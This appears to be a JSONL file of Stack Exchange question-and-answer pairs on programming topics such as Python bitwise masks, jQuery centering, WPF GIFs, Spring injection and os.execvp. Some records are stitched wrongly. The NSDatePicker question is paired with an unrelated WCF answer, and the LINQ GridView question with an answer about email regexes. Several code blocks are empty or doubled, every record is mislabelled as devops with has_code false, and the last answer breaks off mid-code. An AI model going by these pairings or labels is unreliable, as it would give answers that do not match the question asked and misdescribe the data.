{"id": "hf_e09b69c82d73", "question": "<p>Trying to answer to another post whose solution deals with IP addresses and netmasks, I got stuck with plain bitwise arithmetic.</p>\n\n<p>Is there a standard way, in Python, to carry on bitwise AND, OR, XOR, NOT operations assuming that the inputs are \"32 bit\" (maybe negative) integers or longs, and that the result must be a long in the range [0, 2**32]?</p>\n\n<p>In other words, I need a working Python counterpart to the C bitwise operations between  unsigned longs.</p>\n\n<p>EDIT: the specific issue is this:</p>\n\n<pre><code>&gt;&gt;&gt; m = 0xFFFFFF00   # netmask 255.255.255.0\n&gt;&gt;&gt; ~m\n-4294967041L         # wtf?! I want 255\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfrom numpy import uint32\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.215384"}
{"id": "hf_893a28f8af49", "question": "<p>I'd like to make a click event fire on an <code>&lt;input type=\"file\"&gt;</code> tag programmatically.</p>\n\n<p>Just calling click() doesn't seem to do anything or at least it doesn't pop up a file selection dialog.</p>\n\n<p>I've been experimenting with capturing events using listeners and redirecting the event, but I haven't been able to get that to actually perform the event like someone clicked on it.</p>\n", "question_body": "", "answer": "You cannot do that in all browsers, supposedly IE\ndoes\nallow it, but Mozilla and Opera do not.\nWhen you compose a message in GMail, the 'attach files' feature is implemented one way for IE and any browser that supports this, and then implemented another way for Firefox and those browsers that do not.\nI don't know why you cannot do it, but one thing that\nis\na security risk, and which you are not allowed to do in any browser, is programmatically set the file name on the HTML File element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.265647"}
{"id": "hf_5bcb2ef57b3f", "question": "<p>I'm loading an image from a file, and I want to know how to validate the image before it is fully read from the file.</p>\n\n<pre><code>string filePath = \"image.jpg\";\nImage newImage = Image.FromFile(filePath);\n</code></pre>\n\n<p>The problem occurs when image.jpg isn't really a jpg.  For example, if I create an empty text file and rename it to image.jpg, an OutOfMemory Exception  will be thrown when image.jpg is loaded.</p>\n\n<p>I'm looking for a function that will validate an image given a stream or a file path of the image.</p>\n\n<p>Example function prototype</p>\n\n<pre><code>bool IsValidImage(string fileName);\nbool IsValidImage(Stream imageStream);\n</code></pre>\n", "question_body": "", "answer": "I would create a method like:\n```\n```\nImage openImage(string filename);\n```\n```\nin which I handle the exception. If the returned value is Null, there is an invalid file name / type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.313690"}
{"id": "hf_dabb66f828cd", "question": "<p>our partners sites leverages our iframes in their own websites. I was wondering if there is a way to track the analytics on the iframes. </p>\n\n<p>The problem is, if we also utilize these iframes on our own website, how do i avoid duplicate tracking where a visit is counted on our domain's analytics and also counted again in iframes? is there a way to get around it?</p>\n", "question_body": "", "answer": "Adding the Google Analytics code to the iframe should work just fine. The easiest way to avoid duplicate tracking is probably to add a query parameter like ?partner=foo to the URLs that your partners use. You can check for your own site's value and not run the Google Analytics code at all, and also pass the partner ID to Google so that you can break down the reports by partner.\nEDIT\nUse ?utm_source=foo as the partner parameter, and Google Analytics will pick it up without you doing anything. Filter out your own impressions with\n```\n```\nif ( location.href.indexOf(\"utm_source=mysite\") < 0 )\n{\n    // Google Analytics code here\n}\n```\n```\nor you can set up a filter on your Google Analytics profile to filter them out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.361730"}
{"id": "hf_28a3a948ec52", "question": "<p>Could anyone please introduce books/papers/articles that I should read If I want to write a high-performance RPC server in Java, which handles large number of concurrent connections(C10K or over), is fault-tolerant, can be scaled out, and maintains high throughput? Thanks! </p>\n", "question_body": "", "answer": "A few years ago Ebay reimplemented their platform in Java and there are a few white papers and presentations floating around that describe it. Here are some:\nhttp://www.sun.com/2003-0624/feature/index.html\nhttp://www.infoq.com/presentations/shoup-ebay-architectural-principles\nhttp://www.infoq.com/articles/ebay-scalability-best-practices\nSupposedly there is a link to a relevant white paper somewhere on this site, though I haven't found it yet:\nhttp://www.corej2eepatterns.com/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.386007"}
{"id": "hf_68f46691ed88", "question": "<p>We have a proprietry system that we develop scripting code in.\nWe currently do not have a developer environment (apart from Notepad++) and cannot debug or compile this code.  We have to submit it to the vendor to insert the code into the test or live system.\nThe language is essentially C like and has the same syntax.\nBasically we want a tool to be able to simply check the syntax of chunks of code we send to the vendor.\nDoes a tool exist that will do this for me?</p>\n", "question_body": "", "answer": "If it's really  the same syntax as C you can use a C compiler.  Usually there's a syntax check only option (\n```\n/Zs\n```\nfor MSVC).\nI'm not sure how many problems you'll run into since C compilers are pretty picky, and being \"like C\" is not the same as being C.\nIt does seem odd that you're being asked to develop code without having any capability to run or even compile it.  Kind of like writing a book without being able to proof read it before publishing.  I have a hard time getting even \"Hello World\" programs to compile & run without some sort of goof-up on the very first go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.410452"}
{"id": "hf_0d454a672801", "question": "<p>How do I go about setting a <code>&lt;div&gt;</code> in the center of the screen using jQuery?</p>\n", "question_body": "", "answer": "I like adding functions to jQuery so this function would help:\n```\n```\njQuery.fn.center = function () {\n    this.css(\"position\",\"absolute\");\n    this.css(\"top\", Math.max(0, (($(window).height() - $(this).outerHeight()) / 2) + \n                                                $(window).scrollTop()) + \"px\");\n    this.css(\"left\", Math.max(0, (($(window).width() - $(this).outerWidth()) / 2) + \n                                                $(window).scrollLeft()) + \"px\");\n    return this;\n}\n```\n```\nNow we can just write:\n```\n```\n$(element).center();\n```\n```\nDemo:\nFiddle\n(with added parameter)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.446163"}
{"id": "hf_d14fa7f95f37", "question": "<p>I am using log.properties to configure logging for a Java app. Each class gets its own logger named after itself (e.g. com.company.program.ClassX).</p>\n\n<p>I want to set a custom formatter for just one log, and leave the handler with the SimpleFormatter. Is this possible?</p>\n\n<p>I am not interested in using log4j or another of the other logging suites. I am well aware of them. Nor am I interested in configuring a customer formatter for the logger through code, although if that is the only way to do it, it would be nice to know. Google isn't helping, and I am having problems testing this myself.</p>\n", "question_body": "", "answer": "I believe this is a limitation of Java logging.\nYou should decide to become interested in log4j.  java.util.logging is only marginally better than\n```\nSystem.out.println\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.469682"}
{"id": "hf_88cab7973d21", "question": "<p>I have a drop down like this on my page:</p>\n\n<pre><code>&lt;p&gt;\n     &lt;%= f.label :episode_id %&gt;&lt;br /&gt;\n     &lt;%= f.collection_select(:episode_id, @episodes, :id, :show) %&gt;\n&lt;/p&gt;\n</code></pre>\n\n<p>An episode has an id and <code>belongs_to</code> to a show which has a name.  In the dropdown, I'd like to display the show name.  <code>:show.name</code> doesn't work to display the name.  How do I do this?</p>\n", "question_body": "", "answer": "One way to do this would be to create a method in your Episode class called\n```\nshow_name\n```\nlike so:\n```\n```\ndef show_name\n  show.name\nend\n```\n```\nThe last symbol you are passing into collection_select is the name of the method that you want to call to get the option text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.516410"}
{"id": "hf_99ad502987d1", "question": "<p>Could somebody please point me in the right direction for learning how to do networking in C#/.net 3.5? Code samples and explanations are welcome. Basically I am looking for how to do asynchronous/multithreaded server/client models.</p>\n\n<p>I am fairly comfortable with the basics in how to accomplish this in C++ with WinSock but though all of my research cannot seem to grasp this concept in C#.</p>\n\n<p>Thanks for any assistance you can provide :)</p>\n", "question_body": "", "answer": "In .NET 3.5 world you should definitely learn\nWindows Communication Foundation\n- .NET framework for networking.\nUseful link:\nSynchronous and Asynchronous Operations (in WCF)\nYou can find useful WCF information on StackOverflow browsing posts\ntagged with WCF\ntag", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.551622"}
{"id": "hf_8e6fc8455901", "question": "<p>How can I modify the <code>NSDatePickerElementFlags</code> for the <code>NSDatePicker</code> in row templates for <code>NSDate</code> properties returned by <code>[NSPredicateRowEditorTemplate templatesWithAttributeKeyPaths:inEntityDescription:]</code>? I would like the <code>NSDatePicker</code> to show hrs:minutes as well as the date.</p>\n\n<p><strong>Update</strong>\nI've added an answer below, gleaned from the cocoa-dev list.</p>\n", "question_body": "", "answer": "In .NET 3.5 world you should definitely learn\nWindows Communication Foundation\n- .NET framework for networking.\nUseful link:\nSynchronous and Asynchronous Operations (in WCF)\nYou can find useful WCF information on StackOverflow browsing posts\ntagged with WCF\ntag", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.575129"}
{"id": "hf_3803561a61c1", "question": "<p>Upon page load I want to move the cursor to a particular field.  No problem.  But I also need to select and highlight the default value that is placed in that text field.</p>\n", "question_body": "", "answer": "From\nhttp://www.codeave.com/javascript/code.asp?u_log=7004\n:\n```\n```\nvar input = document.getElementById('myTextInput');\ninput.focus();\ninput.select();\n```\n```\n```\n```\n<input id=\"myTextInput\" value=\"Hello world!\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.626362"}
{"id": "hf_60df991fe4ce", "question": "<p>I've read a number of posts touting the merits of migrating from VS 2005 to 2008. However, I'd love to hear what the various pitfalls are in actually doing the migration. We're about to migrate and I'd prefer knowing what speed bumps to anticipate and plan for instead of discovering them by surprise along the way. Any helpful guidance on this would be much appreciated so that the process is as painless as possible.</p>\n\n<p>Oh, we're primarily a C++ development house, with a handful of moderate size products and a bunch of small ancilliary tools. We use external makefiles for everything so that all builds are readily automated. Specific insights about what to expect when migrating this type of development operation would be most helpful.</p>\n\n<p>Thanks in advance for the help!</p>\n", "question_body": "", "answer": "The\nonly\nissue I have had with Visual Studio 2008 is that it was quite slow until I tweaked it a bit.  I was running into a delay coming out of Debug mode on the order of 8-10 seconds or so - was\nquite\nannoying.  SP1 helped out as did modifying some IE settings.\nBut otherwise, I've been happy with it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.662336"}
{"id": "hf_e831154b9fd2", "question": "<p>I have a xml which is max 3 levels deep. Now by using C# or Xpath what the best method to check the whether all the child nodes under a parent node are empty.</p>\n\n<p>Thanks in Advance.</p>\n", "question_body": "", "answer": "Given a sample document of:\n```\n```\n<foo>\n  <bar>\n    <baz/>\n    <baz>Hello, world!</baz>\n    <baz><qux/></baz>\n  </bar>\n</foo>\n```\n```\nThis expression tells you which children of\n```\nfoo/bar\n```\nhave any child elements:\n```\n```\nfoo/bar/*[count(*)>0]\n```\n```\nThis expression tells you which children of\n```\nfoo/bar\n```\nhave any child text nodes:\n```\n```\nfoo/bar/*[text()]\n```\n```\nSo to ensure that all children are empty (no child elements or text nodes), ensure that this expression returns true:\n```\n```\nnot(foo/bar/*[count(*)>0 or text()])\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.686073"}
{"id": "hf_fbbad7b28a9f", "question": "<p>What is an NP-complete problem? Why is it such an important topic in computer science?</p>\n", "question_body": "", "answer": "Honestly,\nWikipedia\nmight be the best place to look for an answer to this.\nIf NP = P, then we can solve very hard problems much faster than we thought we could before.  If we solve only one NP-Complete problem in P (polynomial) time, then it can be applied to all other problems in the NP-Complete category.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.787647"}
{"id": "hf_4e3d72eb8a1c", "question": "<p>What control type should I use - <code>Image</code>, <code>MediaElement</code>, etc.?</p>\n", "question_body": "", "answer": "I, too, did a search and found several different solution in just a thread on the old MSDN forums. (link no longer worked so I removed it)\nThe simplest to execute seems to be to use a WinForms\n```\nPictureBox\n```\ncontrol, and went like this (changed a few things from the thread, most of it the same).\nAdd a reference to\n```\nSystem.Windows.Forms\n```\n,\n```\nWindowsFormsIntegration\n```\n, and\n```\nSystem.Drawing\n```\nto your project first.\n```\n```\n<Window x:Class=\"GifExample.Window1\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    xmlns:wfi=\"clr-namespace:System.Windows.Forms.Integration;assembly=WindowsFormsIntegration\"\n    xmlns:winForms=\"clr-namespace:System.Windows.Forms;assembly=System.Windows.Forms\"\n    Loaded=\"Window_Loaded\" >\n    <Grid>\n        <wfi:WindowsFormsHost>\n            <winForms:PictureBox x:Name=\"pictureBoxLoading\">\n            </winForms:PictureBox>\n        </wfi:WindowsFormsHost>\n    </Grid>\n</Window >\n```\n```\nThen in the\n```\nWindow_Loaded\n```\nhandler, you would set the\n```\npictureBoxLoading.ImageLocation\n```\nproperty to the image file path that you want to show.\n```\n```\nprivate void Window_Loaded(object sender, RoutedEventArgs e)\n{\n    pictureBoxLoading.ImageLocation = \"../Images/mygif.gif\";\n}\n```\n```\nThe\n```\nMediaElement\n```\ncontrol was mentioned in that thread, but it is also mentioned that it is a rather heavy control, so there were a number of alternatives, including at least 2 homebrewed controls based on the\n```\nImage\n```\ncontrol, so this is the simplest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.906166"}
{"id": "hf_799f0a9aff1f", "question": "<p>I'm quite new to programming, and I was wondering if there is a good source of well-programmed non-standard C code and libraries.</p>\n\n<p>I Googled and didn't find anything. \nI was a bit surprised by this, especially because I used to search for many Python examples and libraries and never had trouble finding anything.</p>\n\n<p>I already use standard libraries such as stdio.c, stdlib.c, and math.c, but I want to use some more specific C modules. A graph processing library, for example. (I don't really need this one, just a collection of C, not C++ or C#, resources and examples)</p>\n", "question_body": "", "answer": "there is no \"centralized\" source for C libraries... at least nothing along the lines of CPAN for Perl or the Python Package Index for Python.\nSince C is sort of the \"default\" language for systems programming, it's often unstated that libraries are written for C.  You may want to try Freshmeat.net's\nAdvanced Search\n, since it's centered on Unix software, and there are a lot of C libraries posted there.  For example, here's what I come up with searching for \"graph library\":\nhttp://freshmeat.net/search/?section=projects&q=%2Bgraph+%2Blibrary\n, and you can filter those results by language, license, etc.\n(And your English is quite fine!  Which I can't say about all the posters on here :-p)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:09.965763"}
{"id": "hf_98dffe60569a", "question": "<p>Looking for an example in linq about how to insert a row of a gridview into datacontext. </p>\n", "question_body": "", "answer": "That was asked\nhere\na couple of weeks ago. What it comes down to is, there are many legal addresses that an easy regex won't match. It takes a truly insane regex to match the majority of legal addresses. And even then, a syntactically legal address doesn't guarantee the existence of an account behind it - take foo@example.invalid, for example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.016784"}
{"id": "hf_9598cd83feeb", "question": "<p>I have a question about using <code>os.execvp</code> in Python. I have the following bit of code that's used to create a list of arguments:</p>\n\n<pre>\nargs = [ \"java\"\n       , classpath\n       , \"-Djava.library.path=\" + lib_path()\n       , ea\n       , \"-Xmx1000m\"\n       , \"-server\"\n       , \"code_swarm\"\n       , params\n       ]\n</pre>\n\n<p>When I output a string using <code>\" \".join(args)</code> and paste that into my shell prompt, the JVM launches fine, and everything works. Everything works if I use <code>os.system(\" \".join(args))</code> in my Python script, too.</p>\n\n<p><em>But</em> the following bit of code does not work:</p>\n\n<pre>os.execvp(\"java\", args)</pre>\n\n<p>I get the following error:</p>\n\n<pre>\nUnrecognized option: -classpath [and then the classpath I created, which looks okay]\nCould not create the Java virtual machine.\n</pre>\n\n<p>So what gives? Why does copying/pasting into the shell or using <code>os.system()</code> work, but not <code>os.execvp()</code>?</p>\n", "question_body": "", "answer": "If your \"classpath\" variable contains for instance \"-classpath foo.jar\", it will not work, since it is thinking the option name is \"-classpath foo.jar\". Split it in two arguments: [..., \"-classpath\", classpath, ...].\nThe other ways (copy and paste and system()) work because the shell splits the command line at the spaces (unless they are escaped or quoted). The command line is in fact passed down to the called program as an array (unlike on Windows), and the JVM is expecting to find an element with only \"-classpath\" followed by another element with the classpath.\nYou can see the difference for yourself by calling the following small Python script instead of the JVM:\n```\n```\n#!/usr/bin/python\nimport sys\nprint sys.argv\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.040714"}
{"id": "hf_1aad7887f7cd", "question": "<p>I'm doing some optimising for my site and am trying to figure out just how big some inline code can be before it can justify having it's own file instead of being written inline.</p>\n\n<p>My guess on how to measure it would be that the amount of code (CSS or JS in this case) would need to be bigger than the HTTP packets sent and received to get a 304 response. </p>\n\n<p>Please ignore the fact that it's a good practice to keep styles and javascript out of the HTML page and think only in terms of browser performance. :)</p>\n", "question_body": "", "answer": "Honestly, in terms of browser performance, separating your CSS & JS files out and properly setting expires headers so they are cached will\nincrease\nperformance, not degrade it. The browser will cache it and never request it again, which reduces the amount of data transferred during multiple page views.\nOnly if a majority of your audience is coming to your website with an empty cache\nand\nonly viewing 1 page would inlining CSS & JS help.\nSee:\nhttp://developer.yahoo.com/performance/\nhttp://www.ryandoherty.net/2008/10/12/optimizing-openspacebook/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.064289"}
{"id": "hf_1a7463aaf2c4", "question": "<p>Newbie question...</p>\n\n<p>If I have a file that is in the root of the web app.   How do I programmaticaly query the path of that file?  ie, what directory it is in?</p>\n", "question_body": "", "answer": "```\n```\nSystem.Web.HttpServerUtility.MapPath( \"~/filename.ext\" );\n```\n```\nwill give you the physical (disk) path, which you would use with System.IO methods and such.\n```\n```\nSystem.Web.Hosting.VirtualPathUtility.ToAbsolute( \"~/filename.ext\" );\n```\n```\nwill give you the \"absolute\" virtual path.  This won't be the full url, but isn't necessarily the root of the domain, either.  It could be something like\n```\n/admin/filename.ext\n```\nif the application is rooted in a subdirectory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.087626"}
{"id": "hf_c0edd8f01bcf", "question": "<p>In spring you can initialize a bean by having the applicationContext.xml invoke a constructor, or you can set properties on the bean.  What are the trade offs between the two approaches?  Is it better to have a constructor (which enforces the contract of having everything it needs in one method) or is it better to have all properties (which gives you flexibility to only inject selectively for example when unit testing.)</p>\n\n<p>What are the trade offs (between writing a bean that uses a constructor to establish it's initial state, or using properties and perhaps an afterProperties() method) ?</p>\n", "question_body": "", "answer": "IMO the major advantage of constructor injection is that it is compatible with immutability. However, if a class has more than about 3 dependencies, this requires providing a constructor which takes a large number of parameters, which is unwieldy.\nWhen using setter-injection, I prefer to use the\n```\n@PostConstruct\n```\nannotation to identify the initialization method. This involves looser coupling to the Spring framework than the\n```\nafterProperties()\n```\nmethod you mention (actually, I think it's\n```\nafterPropertiesSet()\n```\n). Another option is the init method attribute of the\n```\n<bean>\n```\nelement.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.111176"}
{"id": "hf_38bb9a522db2", "question": "<p>I am attempting to insert a Canvas3D object inside a Swing JPanel, but the code doesn't seem to be working (i.e. nothing happens):</p>\n\n<pre>\n        Canvas3D canvas = new Canvas3D(SimpleUniverse.getPreferredConfiguration());\n        SimpleUniverse universe = new SimpleUniverse(canvas);\n        BranchGroup root = new BranchGroup();\n        root.addChild(new ColorCube());\n        universe.addBranchGraph(root);\n        universe.getViewingPlatform().setNominalViewingTransform();\n        canvasPanel.add(canvas);\n</pre>\n\n<p>What am I missing? The JPanel was created using NetBean's Visual Editor.</p>\n", "question_body": "", "answer": "Canvas3D needs a size passed to it; setting the preferred configuration from SimpleUniverse is not enough. In my case, that meant this code:\n```\n// 3D canvas initialization\n        Canvas3D canvas = new Canvas3D(SimpleUniverse.getPreferredConfiguration());\n        SimpleUniverse universe = new SimpleUniverse(canvas);\n        BranchGroup root = new BranchGroup();\n        root.addChild(new ColorCube());\n        universe.addBranchGraph(root);\n        universe.getViewingPlatform().setNominalViewingTransform();\ncanvas.setSize(100, 100);\ncanvasPanel.add(canvas);\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.136348"}
{"id": "hf_e5c1625de6ac", "question": "<p>Similar question as <a href=\"https://stackoverflow.com/questions/56722/automated-processing-of-an-email-in-java\">this one</a> but for a Microsoft Environment.</p>\n\n<p>Email --> Exchange Server -->[something]</p>\n\n<p>For the [something] I was using Outlook 2003 &amp; C# but it <em>feels</em> messy (A program is trying to access outlook, this could be a virus etc)</p>\n\n<pre><code>Microsoft.Office.Interop.Outlook.Application objOutlook = new Microsoft.Office.Interop.Outlook.Application();\nMicrosoft.Office.Interop.Outlook.NameSpace objNS = objOutlook.GetNamespace(\"MAPI\");\nobjNS.Logon(\"MAPIProfile\", \"MAPIPassword\", false, true);\n</code></pre>\n\n<p>Is this the best way to do it?  Is there a better way of retrieving and processing emails in a Microsoft environment???</p>\n", "question_body": "", "answer": "This\nlibrary provides you basic support for the POP3 protocol and MIME, you can use it to check specified mailboxes and retrieve emails and attachments, you can tweak it to your needs.\nHere is\nanother library\n, this one is for the IMAP protocol, it's very basic but also allows you to fetch complete messages, including attachments...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.218142"}
{"id": "hf_e3be59497227", "question": "<p>Should I be writing Doc Comments for all of my java methods? </p>\n", "question_body": "", "answer": "I\nthoroughly\ndocument every public method in every API class.  Classes which have public members but which are not intended for external consumption are prominently marked in the class javadoc.  I also document every protected method in every API class, though to a lesser extent.  This goes on the idea that any developer who is extending an API class will already have a fair concept of what's going on.\nFinally, I will occasionally document private and package private methods for my own benefit.  Any method or field that I think needs some explanation in its usage will receive documentation, regardless of its visibility.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.241987"}
{"id": "hf_05bb7a40bdaf", "question": "<p>The IntelliJ IDEA short-cut to reformat source code is <kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>L</kbd>.  This happens to lock the screen in KDE (Gnome too?).  How can I disable this so IntelliJ receives the key sequence?</p>\n", "question_body": "", "answer": "Under the K menu, go to the Control Center.\nRegional & Accessibility |\nKeyboard Shortcuts |\nShortcut Schemes tab,\nGlobal Shortcuts tab.\nIn the search box, type \"lock\", which should narrow the visible shortcuts and show the\nCtrl\n+\nAlt\n+\nL\none (\"Lock Session\").\nUnderneath, click None.\nClick the Apply button.\nOn KDE Plasma 5 go to System Settings | Desktop Behaviour | Screen Locking\nHere you will find a \"Keyboard Shortcut\" option. Change it to something else or set to none", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.265328"}
{"id": "hf_69b1a09ebc90", "question": "<p>Does Linux/Unix/Posix provide an API to user-space applications to access a monotonically increasing clock, with centisecond to millisecond accuracy?</p>\n\n<p>On Linux, /proc/uptime provides a string-based representation of a floating point number of the number of seconds the system has been up.</p>\n\n<p>gettimeofday(2) does not provide a monotonically increasing clock.</p>\n\n<p>I could use getitimer(2) in the ITIMER_REAL time domain, set the timer to start at the (platform dependent) maximum and ignore the signal generated, but according to the man page the longest the timer can run for is approximately 100 days, which is shorter than my expected run time.</p>\n", "question_body": "", "answer": "There is clock_gettime:\n```\n```\nstruct timespec tp;\nclock_gettime(CLOCK_MONOTONIC, &tp);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.325311"}
{"id": "hf_ad0271e1d723", "question": "<p>Are there any issues with running an asp.net 1.1 application under windows server 2008 64-bit web edition?</p>\n", "question_body": "", "answer": "I have never tried it myself, but I did find the following pages that you might find interesting:\nThis blog\nhas an in depth walk through of configuring ASP.NET 1.1 on Windows Server 2008. The author does not say if it is x86 or x64, so I would just assume its x86. But either way, it looks like the author had to jump through some hoops to get the ISAPI filter setup correctly.\nI also found\nthis thread\non the IIS7 forums where someone discuses having poor performance from ASP.NET 1.1. on x64 Win2k8. So from poor performance I would assume it worked to some extent. Unfortunately towards the end of the thread the author mentions encounter 500 errors, and then the discuss stops :-(\nSo from what I've read I would guess that its possible, but I would also guess that you would have less hassle if you could find some alternative that didn't involve both II7 and x64.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:10.371827"}
{"id": "hf_06fb1f946ac7", "question": "<p>When using <code>__import__</code> with a dotted name, something like: <code>somepackage.somemodule</code>, the module returned isn't <code>somemodule</code>, whatever is returned seems to be mostly empty! what's going on here?</p>\n", "question_body": "", "answer": "From the python docs on\n```\n__import__\n```\n:\n```\n```\n__import__( name[, globals[, locals[, fromlist[, level]]]])\n```\n```\n...\nWhen the name variable is of the form\n  package.module, normally, the\n  top-level package (the name up till\n  the first dot) is returned, not the\n  module named by name. However, when a\n  non-empty fromlist argument is given,\n  the module named by name is returned.\n  This is done for compatibility with\n  the bytecode generated for the\n  different kinds of import statement;\n  when using \"import spam.ham.eggs\", the\n  top-level package spam  must be placed\n  in the importing namespace, but when\n  using \"from spam.ham import eggs\", the\n  spam.ham subpackage must be used to\n  find the eggs variable. As a\n  workaround for this behavior, use\n  getattr() to extract the desired\n  components. For example, you could\n  define the following helper:\n```\n```\ndef my_import(name):\n    mod = __import__(name)\n    components = name.split('.')\n    for comp in components[1:]:\n        